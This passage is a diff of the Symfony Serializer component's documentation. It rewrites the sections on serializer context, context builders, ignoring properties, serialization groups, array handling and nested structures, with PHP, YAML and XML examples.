-    use Symfony\Component\Serializer\Annotation\Context;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+.. note::
 
-    class Person
-    {
-        #[Context(
-            normalizationContext: [DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'],
-            denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => '!Y-m-d'], // To prevent to have the time from the moment of denormalization
-        )]
-        public \DateTimeInterface $createdAt;
+    By default, additional attributes that are not mapped to the
+    denormalized object will be ignored by the Serializer component. For
+    instance, if a request to the above controller contains ``{..., "city": "Paris"}``,
+    the ``city`` field will be ignored. You can also throw an exception in
+    these cases using the :ref:`serializer context <serializer-context>`
+    you'll learn about later.
 
-        // ...
-    }
+.. seealso::
 
-You can also restrict the usage of a context to some groups::
+    You can also deserialize data into an existing object instance (e.g.
+    when updating data). See :ref:`Deserializing in an Existing Object <serializer-populate-existing-object>`.
 
-    namespace App\Model;
+.. _serializer-process:
 
-    use Symfony\Component\Serializer\Annotation\Context;
-    use Symfony\Component\Serializer\Annotation\Groups;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+The Serialization Process: Normalizers and Encoders
+---------------------------------------------------
 
-    class Person
-    {
-        #[Groups(['extended'])]
-        #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
-        #[Context(
-            context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
-            groups: ['extended'],
-        )]
-        public \DateTimeInterface $createdAt;
+The serializer uses a two-step process when (de)serializing objects:
 
-        // ...
-    }
+.. raw:: html
 
-The attribute can be repeated as much as needed on a single property.
-Context without group is always applied first. Then context for the matching
-groups are merged in the provided order.
+    <object data="_images/serializer/serializer_workflow.svg" type="image/svg+xml"
+        alt="A flow diagram showing how objects are serialized/deserialized. This is described in the subsequent paragraph."
+    ></object>
 
-If you repeat the same context in multiple properties, consider using the
-``#[Context]`` attribute on your class to apply that context configuration to
-all the properties of the class::
+In both directions, data is always first converted to an array. This splits
+the process in two separate responsibilities:
 
-    namespace App\Model;
+Normalizers
+    These classes convert **objects** into **arrays** and vice versa. They
+    do the heavy lifting of finding out which class properties to
+    serialize, what value they hold and what name they should have.
+Encoders
+    Encoders convert **arrays** into a specific **format** and the other
+    way around. Each encoder knows exactly how to parse and generate a
+    specific format, for instance JSON or XML.
 
-    use Symfony\Component\Serializer\Annotation\Context;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+Internally, the ``Serializer`` class uses a sorted list of normalizers and
+one encoder for the specific format when (de)serializing an object.
 
-    #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
-    #[Context(
-        context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
-        groups: ['extended'],
-    )]
-    class Person
-    {
-        // ...
-    }
+There are several normalizers configured in the default ``serializer``
+service. The most important normalizer is the
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`. This
+normalizer uses reflection and the :doc:`PropertyAccess component </components/property_access>`
+to transform between any object and an array. You'll learn more about
+:ref:`this and other normalizers <serializer-normalizers>` later.
 
-.. _serializer-using-context-builders:
+The default serializer is also configured with some encoders, covering the
+common formats used by HTTP applications:
 
-Using Context Builders
-----------------------
+* :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
+* :class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
+* :class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
+* :class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
 
-To define the (de)serialization context, you can use "context builders", which
-are objects that help you to create that context by providing autocompletion,
-validation, and documentation::
+Read more about these encoders and their configuration in
+:doc:`/serializer/encoders`.
 
-    use Symfony\Component\Serializer\Context\Normalizer\DateTimeNormalizerContextBuilder;
+.. tip::
 
-    $contextBuilder = (new DateTimeNormalizerContextBuilder())->withFormat('Y-m-d H:i:s');
-    $serializer->serialize($something, 'json', $contextBuilder->toArray());
+    The `API Platform`_ project provides encoders for more advanced
+    formats:
 
-Each normalizer/encoder has its related :ref:`context builder <component-serializer-context-builders>`.
-To create a more complex (de)serialization context, you can chain them using the
-``withContext()`` method::
+    * `JSON-LD`_ along with the `Hydra Core Vocabulary`_
+    * `OpenAPI`_ v2 (formerly Swagger) and v3
+    * `GraphQL`_
+    * `JSON:API`_
+    * `HAL`_
 
-    use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
-    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
+.. _serializer-context:
 
-    $initialContext = [
-        'custom_key' => 'custom_value',
-    ];
+Serializer Context
+~~~~~~~~~~~~~~~~~~
 
-    $contextBuilder = (new ObjectNormalizerContextBuilder())
-        ->withContext($initialContext)
-        ->withGroups(['group1', 'group2']);
+The serializer, and its normalizers and encoders, are configured through
+the *serializer context*. This context can be configured in multiple
+places:
 
-    $contextBuilder = (new CsvEncoderContextBuilder())
-        ->withContext($contextBuilder)
-        ->withDelimiter(';');
+* :ref:`Globally through the framework configuration <serializer-default-context>`
+* :ref:`While serializing/deserializing <serializer-context-while-serializing-deserializing>`
+* :ref:`For a specific property <serializer-using-context-builders>`
 
-    $serializer->serialize($something, 'csv', $contextBuilder->toArray());
+You can use all three options at the same time. When the same setting is
+configured in multiple places, the latter in the list above will override
+the previous one (e.g. the setting on a specific property overrides the one
+configured globally).
+
+.. _serializer-default-context:
+
+Configure a Default Context
+...........................
+
+You can configure a default context in the framework configuration, for
+instance to disallow extra fields while deserializing:
 
-You can also :doc:`create your context builders </serializer/custom_context_builders>`
-to have autocompletion, validation, and documentation for your custom context values.
+.. configuration-block::
+
+    .. code-block:: yaml
 
-.. _serializer-using-serialization-groups-attributes:
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                default_context:
+                    allow_extra_attributes: false
 
-Using Serialization Groups Attributes
--------------------------------------
+    .. code-block:: xml
 
-You can add :ref:`#[Groups] attributes <component-serializer-attributes-groups-attributes>`
-to your class properties::
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:serializer>
+                    <framework:default-context>
+                        <framework:allow-extra-attributes>false</framework:allow-extra-attributes>
+                    </framework:default-context>
+                </framework:serializer>
+            </framework:config>
+        </container>
 
-    // src/Entity/Product.php
-    namespace App\Entity;
+    .. code-block:: php
 
-    use Doctrine\ORM\Mapping as ORM;
-    use Symfony\Component\Serializer\Annotation\Groups;
+        // config/packages/serializer.php
+        use Symfony\Config\FrameworkConfig;
 
-    #[ORM\Entity]
-    class Product
-    {
-        #[ORM\Id]
-        #[ORM\GeneratedValue]
-        #[ORM\Column(type: 'integer')]
-        #[Groups(['show_product', 'list_product'])]
-        private int $id;
+        return static function (FrameworkConfig $framework): void {
+            $framework->serializer()
+                ->defaultContext('', [
+                    'allow_extra_attributes' => false,
+                ])
+            ;
+        };
 
-        #[ORM\Column(type: 'string', length: 255)]
-        #[Groups(['show_product', 'list_product'])]
-        private string $name;
+    .. code-block:: php-standalone
 
-        #[ORM\Column(type: 'text')]
-        #[Groups(['show_product'])]
-        private string $description;
-    }
+        use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
 
-You can also use the ``#[Groups]`` attribute on class level::
+        // ...
+        $normalizers = [
+            new ObjectNormalizer(null, null, null, null, null, null, [
+                'allow_extra_attributes' => false,
+            ]),
+        ];
+        $serializer = new Serializer($normalizers, $encoders);
 
-    #[ORM\Entity]
-    #[Groups(['show_product'])]
-    class Product
-    {
-        #[ORM\Id]
-        #[ORM\GeneratedValue]
-        #[ORM\Column(type: 'integer')]
-        #[Groups(['list_product'])]
-        private int $id;
+.. _serializer-context-while-serializing-deserializing:
 
-        #[ORM\Column(type: 'string', length: 255)]
-        #[Groups(['list_product'])]
-        private string $name;
+Pass Context while Serializing/Deserializing
+............................................
 
-        #[ORM\Column(type: 'text')]
-        private string $description;
-    }
+You can also configure the context for a single call to
+``serialize()``/``deserialize()``. For instance, you can skip
+properties with a ``null`` value only for one serialize call::
 
-In this example, the ``id`` and the ``name`` properties belong to the
-``show_product`` and ``list_product`` groups. The ``description`` property
-only belongs to the ``show_product`` group.
+    use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
 
-Now that your groups are defined, you can choose which groups to use when
-serializing::
+    // ...
+    $serializer->serialize($person, 'json', [
+        AbstractObjectNormalizer::SKIP_NULL_VALUES => true
+    ]);
 
-    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
+    // next calls to serialize() will NOT skip null values
 
-    $context = (new ObjectNormalizerContextBuilder())
-        ->withGroups('show_product')
-        ->toArray();
+.. _serializer-using-context-builders:
 
-    $json = $serializer->serialize($product, 'json', $context);
+Using Context Builders
+""""""""""""""""""""""
 
-.. tip::
+You can use "context builders" to help define the (de)serialization
+context. Context builders are PHP objects that provide autocompletion,
+validation, and documentation of context options::
 
-    The value of the ``groups`` key can be a single string, or an array of strings.
+    use Symfony\Component\Serializer\Context\Normalizer\DateTimeNormalizerContextBuilder;
 
-In addition to the ``#[Groups]`` attribute, the Serializer component also
-supports YAML or XML files. These files are automatically loaded when being
-stored in one of the following locations:
+    $contextBuilder = (new DateTimeNormalizerContextBuilder())
+        ->withFormat('Y-m-d H:i:s');
+    $serializer->serialize($something, 'json', $contextBuilder->toArray());
 
-* All ``*.yaml`` and ``*.xml`` files in the ``config/serializer/``
-  directory.
-* The ``serialization.yaml`` or ``serialization.xml`` file in
-  the ``Resources/config/`` directory of a bundle;
-* All ``*.yaml`` and ``*.xml`` files in the ``Resources/config/serialization/``
-  directory of a bundle.
+Each normalizer/encoder has its related context builder. To create a more
+complex (de)serialization context, you can chain them using the
+``withContext()`` method::
 
-.. note::
+    use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
+    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
 
-    The groups used by default when normalizing and denormalizing objects are
-    ``Default`` and the group that matches the class name. For example, if you
-    are normalizing a ``App\Entity\Product`` object, the groups used are
-    ``Default`` and ``Product``.
+    $initialContext = [
+        'custom_key' => 'custom_value',
+    ];
 
-    .. versionadded:: 7.1
+    $contextBuilder = (new ObjectNormalizerContextBuilder())
+        ->withContext($initialContext)
+        ->withGroups(['group1', 'group2']);
+
+    $contextBuilder = (new CsvEncoderContextBuilder())
+        ->withContext($contextBuilder)
+        ->withDelimiter(';');
 
-        The default use of the class name and ``Default`` groups when normalizing
-        and denormalizing objects was introduced in Symfony 7.1.
+    $serializer->serialize($something, 'csv', $contextBuilder->toArray());
 
-.. _serializer-enabling-metadata-cache:
+.. seealso::
 
-Using Nested Attributes
------------------------
+    You can also :doc:`create your context builders </serializer/custom_context_builders>`
+    to have autocompletion, validation, and documentation for your custom
+    context values.
 
-To map nested properties, use the ``SerializedPath`` configuration to define
-their paths using a :doc:`valid PropertyAccess syntax </components/property_access>`:
+Configure Context on a Specific Property
+........................................
+
+At last, you can also configure context values on a specific object
+property. For instance, to configure the datetime format:
 
 .. configuration-block::
 
     .. code-block:: php-attributes
 
-        namespace App\Model;
+        // src/Model/Person.php
 
-        use Symfony\Component\Serializer\Annotation\SerializedPath;
+        // ...
+        use Symfony\Component\Serializer\Attribute\Context;
+        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
 
         class Person
         {
-            #[SerializedPath('[profile][information][birthday]')]
-            private string $birthday;
+            #[Context([DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'])]
+            public \DateTimeImmutable $createdAt;
 
             // ...
         }
 
     .. code-block:: yaml
 
+        # config/serializer/person.yaml
         App\Model\Person:
             attributes:
-                dob:
-                    serialized_path: '[profile][information][birthday]'
+                createdAt:
+                    contexts:
+                        - context: { datetime_format: 'Y-m-d' }
 
     .. code-block:: xml
 
+        <!-- config/serializer/person.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -435,97 +466,1035 @@ their paths using a :doc:`valid PropertyAccess syntax </components/property_acce
                 https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
         >
             <class name="App\Model\Person">
-                <attribute name="dob" serialized-path="[profile][information][birthday]"/>
+                <attribute name="createdAt">
+                    <context>
+                        <entry name="datetime_format">Y-m-d</entry>
+                    </context>
+                </attribute>
             </class>
         </serializer>
 
-Using the configuration from above, denormalizing with a metadata-aware
-normalizer will write the ``birthday`` field from ``$data`` onto the ``Person``
-object::
+.. note::
 
-    $data = [
-        'profile' => [
-            'information' => [
-                'birthday' => '01-01-1970',
-            ],
-        ],
-    ];
-    $person = $normalizer->denormalize($data, Person::class, 'any');
-    $person->getBirthday(); // 01-01-1970
+    When using YAML or XML, the mapping files must be placed in one of
+    these locations:
 
-When using attributes, the ``SerializedPath`` can either
-be set on the property or the associated _getter_ method. The ``SerializedPath``
-cannot be used in combination with a ``SerializedName`` for the same property.
+    * All ``*.yaml`` and ``*.xml`` files in the ``config/serializer/``
+      directory.
+    * The ``serialization.yaml`` or ``serialization.xml`` file in the
+      ``Resources/config/`` directory of a bundle;
+    * All ``*.yaml`` and ``*.xml`` files in the ``Resources/config/serialization/``
+      directory of a bundle.
 
-Configuring the Metadata Cache
-------------------------------
+You can also specify a context specific to normalization or denormalization:
 
-The metadata for the serializer is automatically cached to enhance application
-performance. By default, the serializer uses the ``cache.system`` cache pool
-which is configured using the :ref:`cache.system <reference-cache-system>`
-option.
+.. configuration-block::
 
-Enabling a Name Converter
--------------------------
+    .. code-block:: php-attributes
 
-The use of a :ref:`name converter <component-serializer-converting-property-names-when-serializing-and-deserializing>`
-service can be defined in the configuration using the :ref:`name_converter <reference-serializer-name_converter>`
-option.
+        // src/Model/Person.php
 
-The built-in :ref:`CamelCase to snake_case name converter <using-camelized-method-names-for-underscored-attributes>`
-can be enabled by using the ``serializer.name_converter.camel_case_to_snake_case``
-value:
+        // ...
+        use Symfony\Component\Serializer\Attribute\Context;
+        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
 
-.. configuration-block::
+        class Person
+        {
+            #[Context(
+                normalizationContext: [DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'],
+                denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339],
+            )]
+            public \DateTimeImmutable $createdAt;
+
+            // ...
+        }
 
     .. code-block:: yaml
 
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            serializer:
-                name_converter: 'serializer.name_converter.camel_case_to_snake_case'
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                createdAt:
+                    contexts:
+                        - normalizationContext: { datetime_format: 'Y-m-d' }
+                          denormalizationContext: { datetime_format: !php/const \DateTime::RFC3339 }
 
     .. code-block:: xml
 
-        <!-- config/packages/framework.xml -->
-        <framework:config>
-            <!-- ... -->
-            <framework:serializer name-converter="serializer.name_converter.camel_case_to_snake_case"/>
-        </framework:config>
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="createdAt">
+                    <normalization-context>
+                        <entry name="datetime_format">Y-m-d</entry>
+                    </normalization-context>
 
-    .. code-block:: php
+                    <denormalization-context>
+                        <entry name="datetime_format">Y-m-d\TH:i:sP</entry>
+                    </denormalization-context>
+                </attribute>
+            </class>
+        </serializer>
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+.. _serializer-context-group:
 
-        return static function (FrameworkConfig $framework): void {
-            $framework->serializer()->nameConverter('serializer.name_converter.camel_case_to_snake_case');
-        };
+You can also restrict the usage of a context to some
+:ref:`groups <serializer-groups-attribute>`:
 
-Debugging the Serializer
-------------------------
+.. configuration-block::
 
-Use the ``debug:serializer`` command to dump the serializer metadata of a
-given class:
+    .. code-block:: php-attributes
 
-.. code-block:: terminal
+        // src/Model/Person.php
 
-    $ php bin/console debug:serializer 'App\Entity\Book'
+        // ...
+        use Symfony\Component\Serializer\Attribute\Context;
+        use Symfony\Component\Serializer\Attribute\Groups;
+        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
 
-        App\Entity\Book
-        ---------------
+        class Person
+        {
+            #[Groups(['extended'])]
+            #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
+            #[Context(
+                context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
+                groups: ['extended'],
+            )]
+            public \DateTimeImmutable $createdAt;
 
-        +----------+------------------------------------------------------------+
-        | Property | Options                                                    |
-        +----------+------------------------------------------------------------+
-        | name     | [                                                          |
-        |          |   "groups" => [                                            |
-        |          |       "book:read",                                         |
-        |          |       "book:write",                                        |
-        |          |   ],                                                       |
-        |          |   "maxDepth" => 1,                                         |
-        |          |   "serializedName" => "book_name",                         |
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                createdAt:
+                    groups: [extended]
+                    contexts:
+                        - context: { datetime_format: !php/const \DateTime::RFC3339 }
+                        - context: { datetime_format: !php/const \DateTime::RFC3339_EXTENDED }
+                          groups: [extended]
+
+    .. code-block:: xml
+
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="createdAt">
+                    <group>extended</group>
+
+                    <context>
+                        <entry name="datetime_format">Y-m-d\TH:i:sP</entry>
+                    </context>
+                    <context>
+                        <entry name="datetime_format">Y-m-d\TH:i:s.vP</entry>
+                        <group>extended</group>
+                    </context>
+                </attribute>
+            </class>
+        </serializer>
+
+The attribute can be repeated as much as needed on a single property.
+Context without group is always applied first. Then context for the
+matching groups are merged in the provided order.
+
+If you repeat the same context in multiple properties, consider using the
+``#[Context]`` attribute on your class to apply that context configuration to
+all the properties of the class::
+
+    namespace App\Model;
+
+    use Symfony\Component\Serializer\Attribute\Context;
+    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+
+    #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
+    #[Context(
+        context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
+        groups: ['extended'],
+    )]
+    class Person
+    {
+        // ...
+    }
+
+Serializing to or from PHP Arrays
+---------------------------------
+
+The default :class:`Symfony\\Component\\Serializer\\Serializer` can also be
+used to only perform one step of the :ref:`two step serialization process <serializer-process>`
+by using the respective interface:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        use Symfony\Component\Serializer\Encoder\DecoderInterface;
+        use Symfony\Component\Serializer\Encoder\EncoderInterface;
+        use Symfony\Component\Serializer\Normalizer\DenormalizerInterface;
+        use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
+        // ...
+
+        class PersonController extends AbstractController
+        {
+            public function index(DenormalizerInterface&NormalizerInterface $serializer): Response
+            {
+                $person = new Person('Jane Doe', 39, false);
+
+                // use normalize() to convert a PHP object to an array
+                $personArray = $serializer->normalize($person, 'json');
+
+                // ...and denormalize() to convert an array back to a PHP object
+                $personCopy = $serializer->denormalize($personArray, Person::class);
+
+                // ...
+            }
+
+            public function json(DecoderInterface&EncoderInterface $serializer): Response
+            {
+                $data = ['name' => 'Jane Doe'];
+
+                // use encode() to transform PHP arrays into another format
+                $json = $serializer->encode($data, 'json');
+
+                // ...and decode() to transform any format to just PHP arrays (instead of objects)
+                $data = $serializer->decode('{"name":"Charlie Doe"}', 'json');
+                // $data contains ['name' => 'Charlie Doe']
+            }
+        }
+
+    .. code-block:: php-standalone
+
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Encoder\JsonEncoder;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        $encoders = [new JsonEncoder()];
+        $normalizers = [new ObjectNormalizer()];
+        $serializer = new Serializer($normalizers, $encoders);
+
+        // use normalize() to convert a PHP object to an array
+        $personArray = $serializer->normalize($person, 'json');
+
+        // ...and denormalize() to convert an array back to a PHP object
+        $personCopy = $serializer->denormalize($personArray, Person::class);
+
+        $data = ['name' => 'Jane Doe'];
+
+        // use encode() to transform PHP arrays into another format
+        $json = $serializer->encode($data, 'json');
+
+        // ...and decode() to transform any format to just PHP arrays (instead of objects)
+        $data = $serializer->decode('{"name":"Charlie Doe"}', 'json');
+        // $data contains ['name' => 'Charlie Doe']
+
+.. _serializer_ignoring-attributes:
+
+Ignoring Properties
+-------------------
+
+The ``ObjectNormalizer`` normalizes *all* properties of an object and all
+methods starting with ``get*()``, ``has*()``, ``is*()`` and ``can*()``.
+Some properties or methods should never be serialized. You can exclude
+them using the ``#[Ignore]`` attribute:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\Ignore;
+
+        class Person
+        {
+            // ...
+
+            #[Ignore]
+            public function isPotentiallySpamUser(): bool
+            {
+                // ...
+            }
+        }
+
+    .. code-block:: yaml
+
+        App\Model\Person:
+            attributes:
+                potentiallySpamUser:
+                    ignore: true
+
+    .. code-block:: xml
+
+        <?xml version="1.0" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="potentiallySpamUser" ignore="true"/>
+            </class>
+        </serializer>
+
+The ``potentiallySpamUser`` property will now never be serialized:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        use App\Model\Person;
+
+        // ...
+        $person = new Person('Jane Doe', 32, false);
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+        $person1 = $serializer->deserialize(
+            '{"name":"Jane Doe","age":32,"sportsperson":false","potentiallySpamUser":false}',
+            Person::class,
+            'json'
+        );
+        // the "potentiallySpamUser" value is ignored
+
+    .. code-block:: php-standalone
+
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
+        use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        // ...
+
+        // you need to pass a class metadata factory with a loader to the
+        // ObjectNormalizer when reading mapping information like Ignore or Groups.
+        // E.g. when using PHP attributes:
+        $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
+        $normalizers = [new ObjectNormalizer($classMetadataFactory)];
+
+        $serializer = new Serializer($normalizers, $encoders);
+
+        $person = new Person('Jane Doe', 32, false);
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+        $person1 = $serializer->deserialize(
+            '{"name":"Jane Doe","age":32,"sportsperson":false","potentiallySpamUser":false}',
+            Person::class,
+            'json'
+        );
+        // the "potentiallySpamUser" value is ignored
+
+Ignoring Attributes Using the Context
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can also pass an array of attribute names to ignore at runtime using
+the ``ignored_attributes`` context options::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+
+    // ...
+    $person = new Person('Jane Doe', 32, false);
+    $json = $serializer->serialize($person, 'json',
+    [
+        AbstractNormalizer::IGNORED_ATTRIBUTES => ['age'],
+    ]);
+    // $json contains {"name":"Jane Doe","sportsperson":false}
+
+However, this can quickly become unmaintainable if used excessively. See
+the next section about *serialization groups* for a better solution.
+
+.. _serializer-groups-attribute:
+
+Selecting Specific Properties
+-----------------------------
+
+Instead of excluding a property or method in all situations, you might need
+to exclude some properties in one place, but serialize them in another.
+Groups are a handy way to achieve this.
+
+You can add the ``#[Groups]`` attribute to your class:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\Groups;
+
+        class Person
+        {
+            #[Groups(["admin-view"])]
+            private int $age;
+
+            #[Groups(["public-view"])]
+            private string $name;
+
+            #[Groups(["public-view"])]
+            private bool $sportsperson;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                age:
+                    groups: ['admin-view']
+                name:
+                    groups: ['public-view']
+                sportsperson:
+                    groups: ['public-view']
+
+    .. code-block:: xml
+
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="age">
+                    <group>admin-view</group>
+                </attribute>
+                <attribute name="name">
+                    <group>public-view</group>
+                </attribute>
+                <attribute name="sportsperson">
+                    <group>public-view</group>
+                </attribute>
+            </class>
+        </serializer>
+
+You can now choose which groups to use when serializing::
+
+    $json = $serializer->serialize(
+        $person,
+        'json',
+        ['groups' => 'public-view']
+    );
+    // $json contains {"name":"Jane Doe","sportsperson":false}
+
+    // you can also pass an array of groups
+    $json = $serializer->serialize(
+        $person,
+        'json',
+        ['groups' => ['public-view', 'admin-view']]
+    );
+    // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+    // or use the special "*" value to select all groups
+    $json = $serializer->serialize(
+        $person,
+        'json',
+        ['groups' => '*']
+    );
+    // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+Using the Serialization Context
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+At last, you can also use the ``attributes`` context option to select
+properties at runtime::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+    // ...
+
+    $json = $serializer->serialize($person, 'json', [
+        AbstractNormalizer::ATTRIBUTES => ['name', 'company' => ['name']]
+    ]);
+    // $json contains {"name":"Dunglas","company":{"name":"Les-Tilleuls.coop"}}
+
+Only attributes that are :ref:`not ignored <serializer_ignoring-attributes>`
+are available. If serialization groups are set, only attributes allowed by
+those groups can be used.
+
+.. _serializer-handling-arrays:
+
+Handling Arrays
+---------------
+
+The serializer is capable of handling arrays of objects. Serializing arrays
+works just like serializing a single object::
+
+    use App\Model\Person;
+
+    // ...
+    $person1 = new Person('Jane Doe', 39, false);
+    $person2 = new Person('John Smith', 52, true);
+
+    $persons = [$person1, $person2];
+    $JsonContent = $serializer->serialize($persons, 'json');
+
+    // $jsonContent contains [{"name":"Jane Doe","age":39,"sportsman":false},{"name":"John Smith","age":52,"sportsman":true}]
+
+To deserialize a list of objects, you have to append ``[]`` to the type
+parameter::
+
+    // ...
+
+    $jsonData = ...; // the serialized JSON data from the previous example
+    $persons = $serializer->deserialize($JsonData, Person::class.'[]', 'json');
+
+For nested classes, you have to add a PHPDoc type to the property, constructor or setter::
+
+    // src/Model/UserGroup.php
+    namespace App\Model;
+
+    class UserGroup
+    {
+        /**
+         * @param Person[] $members
+         */
+        public function __construct(
+            private array $members,
+        ) {
+        }
+
+        // or if you're using a setter
+
+        /**
+         * @param Person[] $members
+         */
+        public function setMembers(array $members): void
+        {
+            $this->members = $members;
+        }
+
+        // ...
+    }
+
+.. tip::
+
+    The Serializer also supports array types used in static analysis, like
+    ``list<Person>`` and ``array<Person>``. Make sure the
+    ``phpstan/phpdoc-parser`` and ``phpdocumentor/reflection-docblock``
+    packages are installed (these are part of the ``symfony/serializer-pack``).
+
+.. _serializer-nested-structures:
+
+Deserializing Nested Structures
+-------------------------------
+
+Some APIs might provide verbose nested structures that you want to flatten
+in the PHP object. For instance, imagine a JSON response like this:
+
+.. code-block:: json
+
+    {
+        "id": "123",
+        "profile": {
+            "username": "jdoe",
+            "personal_information": {
+                "full_name": "Jane Doe"
+            }
+        }
+    }
+
+You may wish to serialize this information to a single PHP object like::
+
+    class Person
+    {
+        private int $id;
+        private string $username;
+        private string $fullName;
+    }
+
+Use the ``#[SerializedPath]`` to specify the path of the nested property
+using :doc:`valid PropertyAccess syntax </components/property_access>`:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\SerializedPath;
+
+        class Person
+        {
+            private int $id;
+
+            #[SerializedPath('[profile][username]')]
+            private string $username;
+
